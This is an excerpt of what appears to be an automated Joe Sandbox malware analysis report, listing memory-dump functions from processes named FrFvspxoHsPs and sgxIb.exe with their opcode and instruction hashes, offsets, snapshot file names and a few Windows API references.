Instruction ID: eb078eab22e0f5108e1ca09dad2721fcaf73e48d34ed40c3c7402b3e8a562687
Opcode Fuzzy Hash: 825d87c64c5a379c2ba4baa6eccdd068cff83807b8050de67fa45e5ecee0f5bb
Instruction Fuzzy Hash: E92137747002158FDB14DA78E854B6F7BBEEB8C750F208469E506D7390DB35AD418BA1

Function 06F4B030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db48c3127af56857cda69df36b94db64a9c4e3a3123d38213ca03812b49db6d9
Instruction ID: 3c552dec5aab7eb8ea001c944d713689e739ab0fb78350e08cb2adf354bb5440
Opcode Fuzzy Hash: db48c3127af56857cda69df36b94db64a9c4e3a3123d38213ca03812b49db6d9
Instruction Fuzzy Hash: 19218E71D107198BDF65DFA9C84069EBBB6FF85300F10892AD805EB601DB70E945CB81

Function 0314D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3858904600.000000000314D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0314D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_314d000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c90770fbab8dc3b8b258c76a74675264ff2229f7ffe4a4d0cdd8d85debaf590f
Instruction ID: bbaaf4a8480b64e931e17a3cbb4dd732a330a6d969a036bcfd33d92629312c5c
Opcode Fuzzy Hash: c90770fbab8dc3b8b258c76a74675264ff2229f7ffe4a4d0cdd8d85debaf590f
Instruction Fuzzy Hash: 8421D071604244DFDF14DF10E9C0B26BBA5EB88214F28C5A9E80A4B293C376D847CA62

Function 0314D1F8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3858904600.000000000314D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0314D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_314d000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df7d7672793c619f08098d10fb2eeeb986b5dd2d134d26ff4126bf471e8cbb12
Instruction ID: f6cafbe4385cb103907e3f7275db8d6a5a579c71b4ca855d60180183b6e4b56b
Opcode Fuzzy Hash: df7d7672793c619f08098d10fb2eeeb986b5dd2d134d26ff4126bf471e8cbb12
Instruction Fuzzy Hash: B621D471604244DFDF14DF50E9C4F2ABB69FB8C314F24C5A9E8094B247C376D446CAA2

Function 0314D3A8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3858904600.000000000314D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0314D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_314d000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b8ea73c2e87e07c8e1a6f910e9d95fd432a9a68c0b792d98fcb683ec0f2ddfd
Instruction ID: 5d5be7f01be4c34996256c7dd9bb80bfce868ddbe3ecfca88013e722462f8c71
Opcode Fuzzy Hash: 9b8ea73c2e87e07c8e1a6f910e9d95fd432a9a68c0b792d98fcb683ec0f2ddfd
Instruction Fuzzy Hash: 772100B1600244DFDF04DF10E5C0B26FBA9EB88214F28C5ADE9094A693C336E846CA62

Function 07631D14 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53e9089c6d5172267663fca66dc881fd15a8ad033a4a0381d78ae50786ee62dd
Instruction ID: 3ed751202fc0e147a093ccee5652f5907cecc60db97d4454732ce5e1db924a62
Opcode Fuzzy Hash: 53e9089c6d5172267663fca66dc881fd15a8ad033a4a0381d78ae50786ee62dd
Instruction Fuzzy Hash: 6D31C0B0D01218EFDB20DF99C598B9EBBF4BB48724F24845AE405AB340C3B59945CBA1

Function 06F440D8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 164e8bae9a1a113b9d2e66920830f4b18ff99d0da076d6300200ff82ff80d070
Instruction ID: 836edaa5114a2e866f86c4fe24197dd45acb7d6c4d4eda898de7f3b9e2fb6904
Opcode Fuzzy Hash: 164e8bae9a1a113b9d2e66920830f4b18ff99d0da076d6300200ff82ff80d070
Instruction Fuzzy Hash: A7117C32B101288FDB54A678C8606AF7BEAEBC8310F008539C506E7344EE65AC0187E0

Function 06F43D91 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b7c66186520374145bb4d055992b214de332e3c4e55bde37d372e61687d042
Instruction ID: 8dd6836770674d0798f778c5e198632e4a270279415f95c3224c26b2b1388985
Opcode Fuzzy Hash: 22b7c66186520374145bb4d055992b214de332e3c4e55bde37d372e61687d042
Instruction Fuzzy Hash: CC21E0B5D01219AFCB00DF9AD884ACEFFB8FB49214F10812AE918A7200D3756A54CFA5

Function 06F4F2B0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fe943a39eff204ac82803c21045f7cea7fe5fc4822aaa823b8ed5f4383dc106
Instruction ID: b8715d2169197ca89562cc50cc318fb3ffe20003933a6cbde5b7e9c894ac9e87
Opcode Fuzzy Hash: 1fe943a39eff204ac82803c21045f7cea7fe5fc4822aaa823b8ed5f4383dc106
Instruction Fuzzy Hash: 9001D434F012500FDB62D67C949577F2BDADBCA210F14486EE90ECB741EE24DC028796

Function 06F44310 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 921b9783c0b419eba8c6ab9a41bf9b5c602c7548866aaa7547b0202d47afadf1
Instruction ID: e73fe268f10775c66305cf97c5b306ceaa66d539c139d4bace09af08990531e7
Opcode Fuzzy Hash: 921b9783c0b419eba8c6ab9a41bf9b5c602c7548866aaa7547b0202d47afadf1
Instruction Fuzzy Hash: D801A734B042100FDB61A67C945177FBFE6EBCA720F248569E24ADB795DA29DC024391

Function 06F4A41A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eba0cd8b32ae25b247ae15feb579b1afe4c684d7ab2d268e77f201512e7b9522
Instruction ID: cb182d0b62e559bece5eafea59a2922b4cbf9b9496f9d4a976c99f8fdfcb83ba
Opcode Fuzzy Hash: eba0cd8b32ae25b247ae15feb579b1afe4c684d7ab2d268e77f201512e7b9522
Instruction Fuzzy Hash: 4F017134F402141FDB61A67CA864B6B7B9AEB8A360F204929E609C7765ED15EC028792

Function 0314D1F3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3858904600.000000000314D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0314D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_314d000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d692a0047d57c856fe9c281bc03ca2a8a9bd8913fa11d24a2e87d76695bbbe94
Instruction ID: b570767ebbcf9424a6e30ec8876c51b53ae9f72bf617d3323690424632916fac
Opcode Fuzzy Hash: d692a0047d57c856fe9c281bc03ca2a8a9bd8913fa11d24a2e87d76695bbbe94
Instruction Fuzzy Hash: 5B11BF76504280CFDB12CF50E5C4B55FBB1FB88324F28C6AAD8494B656C33AD44ACBA2

Function 0314D3A3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3858904600.000000000314D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0314D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_314d000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 4fd09ed0a1bca7728b17b8e7aba29bfd1a41e7a13e75f74c675003146084fa21
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: 5B119075504240DFCB05CF10E5C4B15FBA1FB88314F28C6AED9494BA97C33AE44ACB62

Function 0314D02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3858904600.000000000314D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0314D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_314d000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction ID: 437545ae44e43fd27570db29e7cef195b9acc131aaa017f032d7cb97ab998103
Opcode Fuzzy Hash: 0571d9b095afed8b546122286ae05565a289416437c47d1601190cbee81fcf2c
Instruction Fuzzy Hash: 8B118B75504284DFCB15CF14E5C4B15FBA1FB88314F28C6AAD8494B697C33AD44ACB62

Function 076316F1 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52949ff9e46762ba320a7b2e9089e034b405df44849c11bb6e49eacd0d86ee57
Instruction ID: f1a03712a855b62ed554cecd2ce6d12e9132a4686494bc968c0c24ad46a44d1d
Opcode Fuzzy Hash: 52949ff9e46762ba320a7b2e9089e034b405df44849c11bb6e49eacd0d86ee57
Instruction Fuzzy Hash: 6611C2B4614B448FC328DB28D484622BBFAFB5B716B0C888ED44783641DB75EC02CB90

Function 06F440C8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dee646f648e4ec89465748ad56ddf5da701151b9a10147bf6840326c632fe70e
Instruction ID: ec4fab530f399073e2a9f4c7fe4628d997eec9b313fa433033419e6aaebf592c
Opcode Fuzzy Hash: dee646f648e4ec89465748ad56ddf5da701151b9a10147bf6840326c632fe70e
Instruction Fuzzy Hash: 1B01F132F281284BDF9592BC9C603EFBEEAEBD8310F004136C502E7640EEA19C1183D1

Function 06F43D98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6630bfc080c877fa3ab577eee049933895a2d38dfd132fccf0ece0b437d87ae3
Instruction ID: dc3d4d88d8fc51d9d68e0cb0f367973289ac41b5b9479e9d6a5f51172ee2102d
Opcode Fuzzy Hash: 6630bfc080c877fa3ab577eee049933895a2d38dfd132fccf0ece0b437d87ae3
Instruction Fuzzy Hash: 2311D0B5D01259AFCB00DF9AD884ACEFBF4FB48310F10812AE918A7240D374A954CFA5

Function 06F44320 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27103e2b37475d190837f9963b66716ddddbe95802a921da08504c0a13a21b79
Instruction ID: 8954c73e0b067995319f0d7062776d274243ef26e862ced3d055370ec16ce057
Opcode Fuzzy Hash: 27103e2b37475d190837f9963b66716ddddbe95802a921da08504c0a13a21b79
Instruction Fuzzy Hash: CE018131F002140BDB64A56D9455B6FB7DAEBC9B20F208839E60ED7754EE65DC024395

Function 06F4F2C0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 339ddb1e95860b76e1085eb70c3dd971e444dc941ba3a60519cd8d1fb031125a
Instruction ID: 2a04549e1fe2fe452e4355575fa38197747a8bb1b71e13a9adb822a58272c5a0
Opcode Fuzzy Hash: 339ddb1e95860b76e1085eb70c3dd971e444dc941ba3a60519cd8d1fb031125a
Instruction Fuzzy Hash: 85018135F111140BDB64E56D9491B3F6BDADBC9720F108839EA0EC7340DE25EC034796

Function 07630C34 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 050416e735a62d99471d3b86bfc75fb691bcdd54e98364dededc0c9310bef346
Instruction ID: a4f2be6b65575eeaf8e9646073edadfc0f42ba549f23784bfba24828c57f4b42
Opcode Fuzzy Hash: 050416e735a62d99471d3b86bfc75fb691bcdd54e98364dededc0c9310bef346
Instruction Fuzzy Hash: F9019EB8210B08DBD3289B29C5846227BF9FB8B752F08890DE40782600CB75EC02CB50

Function 06F4A428 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6c186ee4f4bd827b462c1de48f174a70713280200d16032f3c3e864411ad6ab
Instruction ID: 15398ef9c048efac94135100dd1ba6f6137a00f86ab72abe9745ccc24d2c5c45
Opcode Fuzzy Hash: f6c186ee4f4bd827b462c1de48f174a70713280200d16032f3c3e864411ad6ab
Instruction Fuzzy Hash: 6D016D34F102144BDB60EA7CD454B2F77DAEB8D360F208838E60AC7768EE25EC024791

Function 06F483E0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45d045f374fe4805f65a894271f581fc5e168cc38086b7c3602cc6e0fec4a6b
Instruction ID: 87416fb6c1bc7dec995009053c02ddf50d2d8d558c50f2f2ae30871e807e970d
Opcode Fuzzy Hash: e45d045f374fe4805f65a894271f581fc5e168cc38086b7c3602cc6e0fec4a6b
Instruction Fuzzy Hash: E5F08136E00314CFDF64AA54E5806B97B6CF7453D0F104465DA15D7A61C635ED05CB91

Function 0763193A Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dbe9b1c67c032c259de5c99f79c4c36384e20df7ecc24a9830bbcf275c2a52b
Instruction ID: 682166bb5269fd507888773e24529c0aa039877d53d2f82740741da11a6a794c
Opcode Fuzzy Hash: 7dbe9b1c67c032c259de5c99f79c4c36384e20df7ecc24a9830bbcf275c2a52b
Instruction Fuzzy Hash: 27F0F0B1D08304AFCB34CFB8D84049AFFF9EF0A21070485AAE491C3200D730E918CBA1

Function 07631988 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e3fd2f0c4ca2ea651550f192e508051bfb8a4b02ba848b7f057c726c9fa6e0
Instruction ID: 33553d5a500df2a957b8430cee0da303bdb8404efbc204ff25f1ddcf7c984747
Opcode Fuzzy Hash: 87e3fd2f0c4ca2ea651550f192e508051bfb8a4b02ba848b7f057c726c9fa6e0
Instruction Fuzzy Hash: A7F0493610838ADFCB02CF24D885D947BF6FF0631432984DAE0588B663D736E866DB61

Function 06F46580 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64bfef96cc1e34939510de327ef58d966304b9dc3a96093a3b56c39d71052381
Instruction ID: 16a2babf5670097f84052a3b401b56e44e581b0f0810341aa84e445c25bc6df7
Opcode Fuzzy Hash: 64bfef96cc1e34939510de327ef58d966304b9dc3a96093a3b56c39d71052381
Instruction Fuzzy Hash: 16E0D870E152486FDF60EEB8CD19B5B7FAD9B43214F1048E5E804C754AE176CD42C791

Function 07631948 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5669996b9e1edc291239b52b2e07b8019aa5a71ec8b2530eda36ad5f8f77f6ef
Instruction ID: 7171c43e1160bab8093e7a5ac1aec86c0f9aea4bbcd283d490c1f0483e4d4b77
Opcode Fuzzy Hash: 5669996b9e1edc291239b52b2e07b8019aa5a71ec8b2530eda36ad5f8f77f6ef
Instruction Fuzzy Hash: 37F030B5E00718AF8B34DFB9D80049AFBF9EF49610B00856AE456D3600D731E914CB90

Function 06F44B61 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3902189949.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f40000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9abb8a3cb9058a72a089f1ce726e12d4232abfaaa869381f4186cf828d295f87
Instruction ID: 2555ebc75672d5510d44da89ed90c22f1bb5287b76609747332aa78923f4193c
Opcode Fuzzy Hash: 9abb8a3cb9058a72a089f1ce726e12d4232abfaaa869381f4186cf828d295f87
Instruction Fuzzy Hash: DBF0B231A54229EBDB14EB94E899BAEBBB2FF48701F200119E402A7684CB705C42CBC0

Function 076316C0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ef4c187bc20c9ce2d941786c2b775694505bc3c2846d45add3ccb049468d8c
Instruction ID: 4d9e09aa7fc7d488886a1a0e26e700f66b02e5dbb14f7dbef62e21f2ed542555
Opcode Fuzzy Hash: 66ef4c187bc20c9ce2d941786c2b775694505bc3c2846d45add3ccb049468d8c
Instruction Fuzzy Hash: D3D0A76262956457D604B1E8A4113D827594B46210F00006B811DC7142CD5DCC0287EA

Function 07631B12 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d3e1d1e9adf0b99a8fbd3fbed0c1d3b4f95edc55d99ec16c1de42d24af50174
Instruction ID: 503aa675cb092f2640059e0426abbdbc4ac9bfe645faa3d9401e0f6e24efb1f0
Opcode Fuzzy Hash: 7d3e1d1e9adf0b99a8fbd3fbed0c1d3b4f95edc55d99ec16c1de42d24af50174
Instruction Fuzzy Hash: 20C08C733151281BC614B2ECF061AEF7B9E8B89A60F14402BE21D87B408FD59C8142FA

Function 07631B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0fad5c1dc58d232c89b39453549466d29066cc2fdf78ed34e57598126885bde
Instruction ID: df581ad7559efb4615c0f0dd80d1ccdfc5c1a7cea4095947f9770adb050c2b15
Opcode Fuzzy Hash: b0fad5c1dc58d232c89b39453549466d29066cc2fdf78ed34e57598126885bde
Instruction Fuzzy Hash: 29B0926232523C13DA1831DDA420AAF769E8B89E60F54406BA60E977818ED69C4102EE

Function 076316D0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 568599575f69d59b74c89ca7f4d713422d1c43ba98925a3e63c09c2bcdcf6bca
Instruction ID: d7b4caed4ed2c4f465b8bf31de806207a45258c22d436d34642269c8da600f06
Opcode Fuzzy Hash: 568599575f69d59b74c89ca7f4d713422d1c43ba98925a3e63c09c2bcdcf6bca
Instruction Fuzzy Hash: C0B09B6132523813D90471DD64206DD769E4789A60F40406B960D877414DD59C4146EE

Function 07630253 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3905896469.0000000007630000.00000040.00000800.00020000.00000000.sdmp, Offset: 07630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7630000_FrFvspxoHsPs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bfeec3af82b1912f6daebc48f66f5fdcfe05d52df61e5aab298e7511345290d
Instruction ID: 39ef9d12ced2df2367c660f14d6b7f1d6f9936a9035d2fdb7338bb4cbeeddb3b
Opcode Fuzzy Hash: 0bfeec3af82b1912f6daebc48f66f5fdcfe05d52df61e5aab298e7511345290d
Instruction Fuzzy Hash: 8AD0C9B084421ACFEF659FC0C858BEEBB71BB08715F000419D012A6194CBB9058ACF51

Analysis Process: sgxIb.exePID: 1792, Parent PID: 3504COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	106
Total number of Limit Nodes:	2

Executed Functions

Function 0170B0F8 Relevance: 1.7, APIs: 1, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.1556571049.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1700000_sgxIb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05740bf21f0e323a3ada6793dd3c33124f7a3ff117ded377f56c255ecea786ea
Instruction ID: 280f3eb50bd7b634dd4b706fa15fa0988266c21892bf5998188101a6dfd9d4b0
Opcode Fuzzy Hash: 05740bf21f0e323a3ada6793dd3c33124f7a3ff117ded377f56c255ecea786ea
Instruction Fuzzy Hash: 45814574A00B05CFE726DF29D44875AFBF1FF88200F108929D48AD7A91D775E945CB91

Function 0170590C Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 017059C9

Memory Dump Source

Source File: 00000010.00000002.1556571049.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1700000_sgxIb.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 37f6a7c317b64b4e4dbcee6b2dd59ea9809ca48ebb883ced2ba71b44712299a2
Instruction ID: 3bd752761a35a534c3a74db51c3f68f759b4ad8519126745c8776ec11e7fe64e
Opcode Fuzzy Hash: 37f6a7c317b64b4e4dbcee6b2dd59ea9809ca48ebb883ced2ba71b44712299a2
Instruction Fuzzy Hash: 1941D0B0C00719CFDB25CFAAC88479EFBF5AB89714F20806AD408AB291DB756946CF50

Function 01704514 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 017059C9

Memory Dump Source

Source File: 00000010.00000002.1556571049.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1700000_sgxIb.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b15026c9199b5ace4daff2f923342e6b2d1edfc67c65485713e242664b710320
Instruction ID: 45bc10db409453fcc3dc4e9f6463532b146479ea665b4f388a80d7b2dbaae483
Opcode Fuzzy Hash: b15026c9199b5ace4daff2f923342e6b2d1edfc67c65485713e242664b710320
Instruction Fuzzy Hash: 6141B2B0C00719CBDB25CFA9C88479EFBF5BF49704F20846AD508AB291DB756945CF50

Function 058643A0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05864461

Memory Dump Source

Source File: 00000010.00000002.1559928013.0000000005860000.00000040.00000800.00020000.00000000.sdmp, Offset: 05860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_5860000_sgxIb.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 60a61f635cf03a81ae88239955942b3d79df659b9ec9f426d9be4cc7c918e67c
Instruction ID: 4dcfba6466753e07756058b2613c3ed65c86eec3b6574589ee8eaf7fe915869b
Opcode Fuzzy Hash: 60a61f635cf03a81ae88239955942b3d79df659b9ec9f426d9be4cc7c918e67c
Instruction Fuzzy Hash: B841F7B49003098FDB14CF99C489AAEBBF6FB88314F24C459D919AB361D774A845CBA0

Function 0170B750 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0170D6C6,?,?,?,?,?), ref: 0170D787

Memory Dump Source

Source File: 00000010.00000002.1556571049.0000000001700000.00000040.00000800.00020000.00000000.sdmp, Offset: 01700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1700000_sgxIb.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
